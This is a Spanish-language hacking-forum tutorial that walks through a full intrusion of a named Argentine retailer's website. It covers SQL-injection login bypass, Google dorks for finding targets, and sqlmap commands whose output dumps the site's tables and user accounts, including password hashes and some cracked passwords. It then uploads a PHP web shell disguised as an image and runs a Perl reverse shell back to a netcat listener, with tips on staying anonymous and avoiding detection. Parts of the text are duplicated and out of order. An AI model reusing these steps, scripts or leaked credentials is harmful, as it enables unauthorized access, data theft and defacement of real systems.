Conociendo esto q pasa si el usuario ingresara algun codigo donde el resultado aunq no existiera en la base de datos
devolviera a la sentencia anterior TRUE
Ej
Si agregaramos un usuario existente por ej Admin y en password ' or ''=' esto resultaria true
SELECT * FROM usuarios WHERE user='Admin' and pass='' or ''='
esto resultaria q al procesar la sentencia el usuario existiera eso devolveria True y el '' or ''='' Simpre devolvera true
ya q el vacio siempre sera igual al vacio esto devolvera true y baypassearemos el login y accederemos a la cuenta de Admin sin saber su password
Esto es un Ejemplo basico hoy por hoy es casi inexistente demas esta decir q para q esto funcione las Magic Quotes deben estar desactivadas.
Como buscar una pagina vulnerable a SQLi
Existe Muchos Dorks de busqueda en Google un ejemplo seria
inurl:*.php?*=* site:.com.ar
Esto buscaria todas las paginas php con algun modulo dentro de los sitios .com.ar
Vamos a un Ejemplo Practico

www.cetrogar.com.ar/result.php?cat=6
Si en esta Direccion que Encontramos con nuestro Dork borramos el 6 y colocamos una ' (comilla)
automaticamente develaremos el siguiente error en el q radica la posibilidad de q la web sea vulnerable a Sql Injection
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Dado a conocer esto, podemos realizar el Injection a mano o con alguna herramienta como SQLMAP
Para mas Informacion sobre Lograr Sqli Manualmente Presento el Post de mi Amigo Antrax donde se explica detalladamente como lograrlo:
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Nos vamos a Sqlmap

Parametros Basicos
--url="URL+Modulo" --proxy="http://Proxy/" --dbs --tables --columns --dump
Siendo la web Injectable los parametros haran los siguiente
--url="Establecer URL Y MODULO Injectable" (No tienes permitido ver enlaces. Registrate o Entra a tu cuenta"
--Proxy="http://Proxy/" (IP del proxy) (Opcional)
--dbs Mostrara todas las bases de datos que Posee la web vulnerable
--tables Mostrara Todas dentro de una Base de datos ya seleccionada
--columns mostrara todas las columnas por la q esta formada la Tabla seleccionada
--dump mostrara la informacion Contenida en esa Tabla
Ejemplos
sudo ./sqlmap.py --url="No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" --proxy="No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" --dbs
Esto nos devolvera Todas las bases de datos q corren en la web
available databases [2]:
1) Conceptos Basicos de Netcat
2) Buscar Vulnerabilidad Sqli
3) PhpShell
4) PerlShell (Reverse Conection)
Primero que nada Me precento soy HD_Breaker y pretendo dar a conocer una falla que la gran mayoria de los Administradores Conocen,
pero no por esto es menos probable q exista en un Servidor.
1) Conceptos Basicos de Netcat
Primero q nada Necesitamos saber los conceptos basicos de tranferencia tcp/ip q es un puerto y q servicios corren
para esto utilizaremos nuestra Navaja Suiza (Net Cat)
Para los q no sepan Utilizarla aqui una breve descripcion de los comandos mas utilizados
Ncat -l -p "N" -vv "IP/Domain" -e "Commando"
Esta linea lo q hace es
-l (Listen) Pone a la escucha el puerto -p (N = numero de puerto) para recivir peticiones entrantes,
-vv Doble Vervose, esto muestra en pantalla todo lo q sucede atraves de la coneccion, IP ip/dominio al q se van a realizar las peticiones
(si no se coloca nada se tomara localhost), -e Ejecuta un comando al conectarce ej -e cmd
Ncat -l -p 9669 -vv 192.168.1.58 -e cmd
Esto si lo utilizamos en modo Servidor a netcat poniendo a la espera un servicio cmd atras del puerto 9669 en una ip local 192.168.1.58
(para acceder desde el exterior sera necesario tener un no-ip, dyndns,etc, abrir los puertos en el modem y hacer un Forwarding a la ip local correspondiente)
Explicacion Grafica
PC cliente ----> Servidor "Netcat" (brinda shell)
PC Cliente <---- Servidor "Netcat"
Desde este momento todo comando enviado desde PC Cliente, sera interpretado por el Servidor y respondera nuevamente hacia la PC Cliente
Netcat Tambien se puede usar como Cliente de la siguiente manera
Ncat -vv "IP" "Puerto"
De esta manera Ncat se conectara a la IP:PUERTO deseado
2) Primero q nada que es una vulnerabilidad SQL
Como todos sabemos SQL es una base de datos donde atraves de peticiones especiales puede escribirce y recivir informacion dentro de ella
Esto se utiliza mucho en las web con contenido dinamico q requieren q el usuario se registre
Un uso comun de SQL y PHP se ve en los foros y en las web donde el usuario debe logearce
EL SOURCE:
<%
usuario=request.form("usuario")
pass=request.form("pass")
sql="SELECT * FROM usuarios WHERE user='" & usuario & "' and pw='" & pass & "'"
%>
Analicemos, este codigo lo q hace es pedir al usuario q ingrese usuario y contraseña
para luego compararlo y ver si existe dentro de la base de datos (TRUE) si el usuario no existe devuelve (FALSE)
y dira el clasico mensaje "Error usuario y/o password incorrecto"
Conociendo esto q pasa si el usuario ingresara algun codigo donde el resultado aunq no existiera en la base de datos
devolviera a la sentencia anterior TRUE
Ej
Si agregaramos un usuario existente por ej Admin y en password ' or ''=' esto resultaria true
SELECT * FROM usuarios WHERE user='Admin' and pass='' or ''='
esto resultaria q al procesar la sentencia el usuario existiera eso devolveria True y el '' or ''='' Simpre devolvera true
ya q el vacio siempre sera igual al vacio esto devolvera true y baypassearemos el login y accederemos a la cuenta de Admin sin saber su password
Esto es un Ejemplo basico hoy por hoy es casi inexistente demas esta decir q para q esto funcione las Magic Quotes deben estar desactivadas.
Como buscar una pagina vulnerable a SQLi
Existe Muchos Dorks de busqueda en Google un ejemplo seria
inurl:*.php?*=* site:.com.ar
Esto buscaria todas las paginas php con algun modulo dentro de los sitios .com.ar
Vamos a un Ejemplo Practico

www.cetrogar.com.ar/result.php?cat=6
Si en esta Direccion que Encontramos con nuestro Dork borramos el 6 y colocamos una ' (comilla)
automaticamente develaremos el siguiente error en el q radica la posibilidad de q la web sea vulnerable a Sql Injection
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Dado a conocer esto, podemos realizar el Injection a mano o con alguna herramienta como SQLMAP
Para mas Informacion sobre Lograr Sqli Manualmente Presento el Post de mi Amigo Antrax donde se explica detalladamente como lograrlo:
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Nos vamos a Sqlmap

Parametros Basicos
--url="URL+Modulo" --proxy="http://Proxy/" --dbs --tables --columns --dump
Siendo la web Injectable los parametros haran los siguiente
--url="Establecer URL Y MODULO Injectable" (No tienes permitido ver enlaces. Registrate o Entra a tu cuenta"
--Proxy="http://Proxy/" (IP del proxy) (Opcional)
--dbs Mostrara todas las bases de datos que Posee la web vulnerable
--tables Mostrara Todas dentro de una Base de datos ya seleccionada
--columns mostrara todas las columnas por la q esta formada la Tabla seleccionada
--dump mostrara la informacion Contenida en esa Tabla
Ejemplos
sudo ./sqlmap.py --url="No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" --proxy="No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" --dbs
Esto nos devolvera Todas las bases de datos q corren en la web
available databases [2]:
- cetrogar
- information_schema
Seleccionamos la Base de Datos Cetrogar y pedimos q nos devuelva sus tablas de la siguiente manera
sudo ./sqlmap.py --url="No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" --proxy="No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" -D cetrogar --tables
Nos Mostrara lo siguiente:
| activadores
| actualizacion_concurso
| bancos_tarjetas
| beneficios_novios
| casamientos
| casamientos_articulos
| categorias
| cetre_productosbackup
| cetro_productos
| cetro_productos_cosquin
| cetro_productos_jesusmaria
| cetro_productos_mayo
| cetro_productos_tostado
| cetro_usuarios
| cetroplus_categoria
| cetroplus_productos
| envio
| envio_postales
| gerentes
| grupos_concurso
| grupos_vendedores
| localidad
| log
| marcas
| novedades
| origen
| origenesexcel
| pais
| participantes_concursomama
| postales
| premios
| premios_aperturasuc
| premios_aperturasuc2
| premios_morteros
| premios_participantes
| premios_participantes_aperturasuc
| premios_participantes_aperturasuc2
| premios_participantes_morteros
| productos
| promo_ganantodos
| promociones
| provincia
| puntos_cetroplus
| subcategorias
| subproductos
| sucursales
| usuarios
| usuarios_cetroplus
| usuarios_concurso
| vendedores_mensual
| vendedores_trimestral
Aqui la magia Nos Interesa la tabla usuarios vamos a ver q tiene dentro de la siguiente manera
sudo ./sqlmap.py --url="No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" --proxy="No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" -D cetrogar -T usuarios --columns
Nos devolvera:
+--------------+----------------------+
| Column | Type |
+--------------+----------------------+
| ID | smallint(6) unsigned |
| nivel_acceso | smallint(4) unsigned |
| pass | tinytext |
| usuario | tinytext |
+--------------+----------------------+
y por fin con --dump nos devolvera los usuarios y contraseñas contenidas en su interior
sudo ./sqlmap.py --url="No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" --proxy="No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" -D cetrogar -T usuarios --dump
+----+--------------+-------------------------------------------+-----------+
| ID | nivel_acceso | pass | usuario |
+----+--------------+-------------------------------------------+-----------+
| 8 | 0| a62039e2dd75ceffa3b72c632010c53a (ale123) | alejandro|
| 7 | 0| 992112e53d3eb06c6bb87701a4574052 | silvanac |
| 6 | 0| 9ae4b79178aaaebfe3ca8d0cc933ea78 | fernando|
| 5 | 0| 34e09b9b490217de9c31f528a2a8a57d | rocioc |
| 3 | 0| 1d96afbde5ac96a4b3d9814030f541c5 | marianoq|
| 2 | 0| 704b037a97fa9b25522b7c014c300f8a (4dm1n) | Admin |
+----+--------------+-------------------------------------------+-----------+
Bueno ya teniendo Usuario y Password (desencriptado md5) de Administrador lo q nos queda ahora es encontrar el AdminPanel
(ahi muchas formas de conceguir esto y no me cetrare aqui existe muchos tutoriales en la red)
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
y aca nos aparece nuestro querido panel de logeo
Ingresamos los datos correspondiente mente y accedemos
(Recomiento utilizar algun metodo de anonimato, no queremos q se enteren q andubimos por donde no debemos)
Llendo al apartado Casamiento/ABM Beneficios por localidad Podremos Subir una "Imagen" aqui utilizaremos nuetra imaginacion y subiremos una phpshell
Primero q nada una ves seleccionada la imagen, copiaremos su URL para saber donde se situa, yo elegi esta:
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
(Haremos un respaldo de la imagen q editaremos para luego resubirla y no hacer q CANTE mucho la intrusion)
Siendo:
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
donde se almacenan las fotos
Subimos Nuetras phpshell
y volvemos a subir la foto original (respaldo para q no cantara)
ya que si no lo hacemos la imagen aparecera como rota
Una ves Hecho esto accedemos al directorio donde se suben las imagenes seguida de nuestra shell (en mi caso ee12.php)
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Nos queda subir una ReverseShell en algun codigo de programacion yo eleji Perl y aca el Source:
#!/usr/bin/perl
use IO::Socket;
print q(
============
HD_Breaker
============
);
$ARGC = @ARGV;
if ($ARGC != 3){
print "\nUsage: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta <HOST> <PORT> <OS>";
exit(0);
}
$host = $ARGV[0];
$port = $ARGV[1];
$OS = $ARGV[2];
use Socket;
print " - Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
|| die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
|| die "[-] Cannot Connect to $host";
print "\n - Connected!";
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "\n .::Powered By HD_Breaker";
if ($OS == "-l"){
$ejecutor = "/bin/bash";
system($ejecutor);
}
if ($OS == "-w"){
$ejecutor = "cmd";
system($ejecutor);
}
subimos el archivo en mi caso rsh.perl al servidor con la Opcion Upload de nuesta phpshell
He aqui el porq este Tutorial Empeso por el uso de Netcat
Abrimos Nuestra consona y ponemos a la escucha un puerto
Ncat -l -p 9669 -vv 192.168.1.2
y ejecutamos el ReverseShell desde nuestra phpshell
y ya tenemos una shell Resta Escalar los priviligios o simplemete hacer un deface
Demas Esta Decir que la apertura de puertos y el Forwarding de los mismos corre por cuenta del lector
Renuncia: Este tutorial es puramente Educativo, Cualquier uso Criminal que sea dado por otro usuario queda bajo su entera Responsabilidad.
HD_Breaker